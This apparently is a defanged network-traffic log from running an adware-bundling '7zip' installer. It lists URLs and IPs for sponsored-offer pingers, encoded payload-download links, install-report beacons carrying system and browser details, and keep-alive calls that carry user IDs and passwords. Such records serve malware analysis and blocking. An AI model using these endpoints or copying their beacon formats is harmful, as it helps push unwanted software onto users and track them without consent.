hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzTIC6m7D1h2dONlz6m1J48 YDNGIdsjn2dx96BOH62W9 5YFxpw5pFdqSm/NUmuZILaKig fkRtZJMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKvLMI0xCo70b7AhMjcBExiTYnH606waHUIFsK7/Ya3qp3H4CQmKwMH44rC2eJND40IoHRlRPK3NNtfZqlmnz2i0XETLNre1tSJQ2272w1pmDNwo5V3AagbluZgxLaXONawFsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv60q83s/Gs1MKCxJOD3FedQpZtQsCFxk6PZLxm6qwFwDRpN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMkjcUlPYfcdWxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe c91abE2NWPTbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.47.112
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=2&index_in_screen=1&index_in_session=2&display_height=137&0.07568601095528388	78.138.127.15
hxxp://ins.pricejs.net/dealdo/install-report?type=install&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535&cb=845119&slug=pricefountain&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&adminproc=1&defaultBrowser=1&ieVer=31302e302e393230302e3136353231&firefoxv=32392e302e312028656e2d555329&chromev=33352e302e313931362e313533&operav=&&previousver=x&firstinstall=1	54.225.207.10
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hXeqmv1IpemgBgKVQb1/X71yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyobLZ4ZHHnwlV4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ==	54.192.46.233
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	88.221.132.175
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoZmQz1jSMZVP0JQd5HxgIXfQyypuUJjWsIJQffTeIm3i94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQ2yDM6d7piii11NaYYxcNku1SXIq07tJg ABjx4/MVnPaT JG0G pNnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHAIttUHgTwN	54.192.46.233
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=4&index_in_screen=1&index_in_session=4&0.6836616873137087	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=4&index_in_screen=1&index_in_session=4&0.9080673077393329	78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=6&utmn=1131424682&utmhn=installer.filebulldog.com&utmhid=1345620086&utmr=-&utmp=Offer_Accepted&utmht=1420692981667&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://d2ly1rbvrtv0k6.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.192.46.149
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsOEyHZoFFyrCMxndPpeZYzTZZBhpU6L/HaMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCF3ZW0PGtWBl1gKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldg/rY7TKOFg0m94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDfyyMiXp71dskSyr tF PxWT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThKGDom2Lr5xeA oO1ux9nxyTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvUQzEfPR5H cZCjca/6c/zCZgGUqUYly4OA=	54.197.238.106
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=2&utmn=1612936192&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Offer_Accepted&utmht=1420692884405&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRobDlUjOI3FcBs IILilpWF1x1QZiJL1PeFa8toKlq5Vz4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.46.233
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBa50u3XyigpXfsjwfS9hqvDSH1 OEJ3biqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvkHg7W3d/ftROReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micnyk9qStug4lppq73FZdDH/8=	54.197.238.106
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.5042214198475601	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN13JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ==	54.192.46.233
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?267d032e27c9da6a	88.221.132.207
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoauGBKhpkBj 1FnN G3tSlj0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z3pcUVvrv2pyviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WW/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDBim8PIUDd0M	54.192.46.233
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=2&index_in_screen=1&index_in_session=2&0.00945544236874668	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/TVH52TeC6TMZ3T6XmWM0 WWoSvDtQRTjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIs72zIVN1UN1yz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YM8Lp0Bjzny5jMJAB CbFgWNLVXkHqu5msQ8SvWqwsmfGywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS UVJBaVmDBy2wQweEsdq Xp/ZYbvQAvm qp9Xc7DttajYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvarEi4t8T1A64NwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccFzU3Kjr8dHG	54.192.46.233
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	88.221.132.175
hxxp://www.youtubeaccelerator.com/styles/yta.css?v=1	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcKVqwjpUmtYy6uCsUQnIZCN/GNnAM6gVpC59BejwFKViHQGpdg iOJxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfMBSr28YVyfPg8SfsOq8sVv	54.197.238.106
hxxp://cdn.bisrv.com/sponsored/pricefountain/pricefountain.png	54.192.47.221
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC87tt5DnIkTUi1f7P6QEzXxsw87geXZcc6iH7TcBEiX6xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.46.233
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=emKxDesqhYcsjIl6e9XbJBTj4CSqdeJAQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H1JnJRrT7DNZ3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==	54.230.45.183
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=2&utmn=541658946&utmhn=bi.bisrv.com&utmhid=2022498955&utmr=-&utmp=Offer_Accepted&utmht=1420692760280&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=4&index_in_screen=1&index_in_session=4&0.43486739058088724	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3rrO8vgt3P/iIImX2R0lDpJK mciuyhYcJKjDaWYJX4fXFKX0xVfRz452ZI8yJZT8RKVPvduoSB0BaMDrns9A1tjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY=	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YOb87aptZLNDMXmaVWxukFWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.46.233
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif	107.20.238.80
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1
hxxp://flex.msn.com/mstag/mstag.1003102000.js	207.46.194.8
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.43.139.27
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMCn6YLYg8vr7 xHF95KOCt7DNmmGug8UNyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfM=	54.192.46.233
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ffa54d8c0bd5ad08	88.221.132.207
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YNcWyV 43ZmuBoJKnjcECO vcpBmUnu1RPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WW/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDBim8PIUDd0M	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUav9x4TEPS62BPEhRyyBD7DR614fwrEG1qQdf661A7a3sYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvarEi4t8T1A64NwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccFzU3Kjr8dHG	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3hBbJg8F3GAAXonzCxckjkxAYdGcPvoXoxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.46.233
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzTsufXr7KVvV/ZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcV2fwAkvrmVqKDqSjldXWoYNHMbs2Nh9oIFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvkHg7W3d/ftROReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn6dlr GGOs2Ypq73FZdDH/8=	54.197.238.106
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	88.221.132.175
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry832UNbAoK/njVi4sZ3RnB2tZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.46.233
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.5306022535342854	78.138.127.15
hxxp://www.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=	107.20.238.80
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.29817793411190424	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUc xh4nuC6oveZAqHIGghM2z4gguKWlYXUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PEdbn48/f7FAIqmILLy1PUiqyoEpCY0yDBlIvAVSj/Lf69nxSUTmRB7QrSyNo58RbUHT3bHMaZ3H2Md8ezDyarteKCQslftcEYXtB7b nmF4GckqLB1u96PHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40=	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3OiJI4oW9ZGQJQ qRImiBrA2L3SUlT1mit19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N	54.192.46.233
hxxp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg	107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Ka qOJkckoVPNjxRBLtb453nP6cJ9p2Y/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nyBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0Wgrw Oa4ZOT7wUeA69rsRB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ZJscHAoUBwEH4g8m9xuJOy ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.46.233
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=4&utmn=312987750&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(pricefountain)&utmhid=1815055538&utmr=-&utmp=Install_Complete&utmht=1420692892734&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://installer.filebulldog.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.8352342003179938	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&0.24663516244120687	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69e7kz6lYX7QXr1yLlvxP1mXOvh959wRc6X8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQgpnHZJVLNWxcSOo/vAjb374r1XQZFERLb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO79I32qLmgkBzr0Y7vf0dioHxIkD535tYISLpCCmchto6jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.46.233
